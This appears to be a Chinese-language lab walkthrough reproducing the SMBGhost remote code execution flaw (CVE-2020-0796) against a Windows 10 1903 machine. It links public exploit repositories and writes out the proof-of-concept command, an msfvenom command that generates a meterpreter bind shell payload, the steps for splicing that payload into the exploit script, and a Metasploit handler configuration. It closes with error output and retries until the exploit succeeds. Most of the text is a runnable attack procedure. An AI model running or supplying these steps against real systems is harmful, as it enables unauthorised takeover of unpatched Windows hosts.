SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10 1903 (19H1)、Windows 10 1909、 Windows Server 19H1均为潜在攻击目标
漏洞检测工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
攻击poc:https://github.com/eerykitty/CVE-2020-0796-PoC
shell脚本:https://github.com/chompie1337/SMBGhost_RCE_PoC
攻击机:Windows 10 20h2+kali
目标机:Windows 10 1903
首先扫描漏洞是否存在,然后把防火墙关掉
然后下载poc攻击试试(中间执行报错,却什么包,就安装就行了)
python CVE-2020-0796.py 192.168.1.33
前面已经复现过MS_06_040,跟MS08067,今天仍然是使用kali里面的漏洞利用工具集
首先使用msf生成一个反向链接的payload
msfvenom -p windows/x64/meterpreter/bind_tcp -b '\x00' lport=1234 -f py -i 1 -o evil.py
然后将生成的py文件里面的文件复制到,RCE的exploit.py中(VS打开,按住Alt可以选择多少列复制)
或者直接复制到记事本,然后将buf替换为USER_PAYLOAD
然后msf坚挺本地端口
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 1234
set rhost 192.168.1.33
run#exploit 两个命令都行
这里lport就是端口,前面生成payload时候指定的,然后rhost就是目标的IP,然后执行
怕不放心的话可以show options来查看是否修改成功
然后我蓝屏了…看git上那些作者下面的问题,也有很多人都是这样,看来这个exp并不稳定
有时候报这个错,但是不蓝屏
Traceback (most recent call last):
File "exploit.py", line 470, in <module>
do_rce(args.ip, args.port)
File "exploit.py", line 431, in do_rce
find_low_stub(ip, port)
File "exploit.py", line 410, in find_low_stub
buff = read_physmem_primitive(ip, port, index)
File "exploit.py", line 210, in read_physmem_primitive
buff = try_read_physmem_primitive(ip, port, phys_addr)
File "exploit.py", line 223, in try_read_physmem_primitive
sock = reconnect(ip, port)
File "exploit.py", line 180, in reconnect
sock.connect((ip, port))
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.timeout: timed out
然后改了改尺寸,又报其他错
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff7b1c0000000
[-] failed to find PML4 self reference entry!
然后,又报新错误
[-] physical read primitive failed
多试几次,终于好了
终于成功了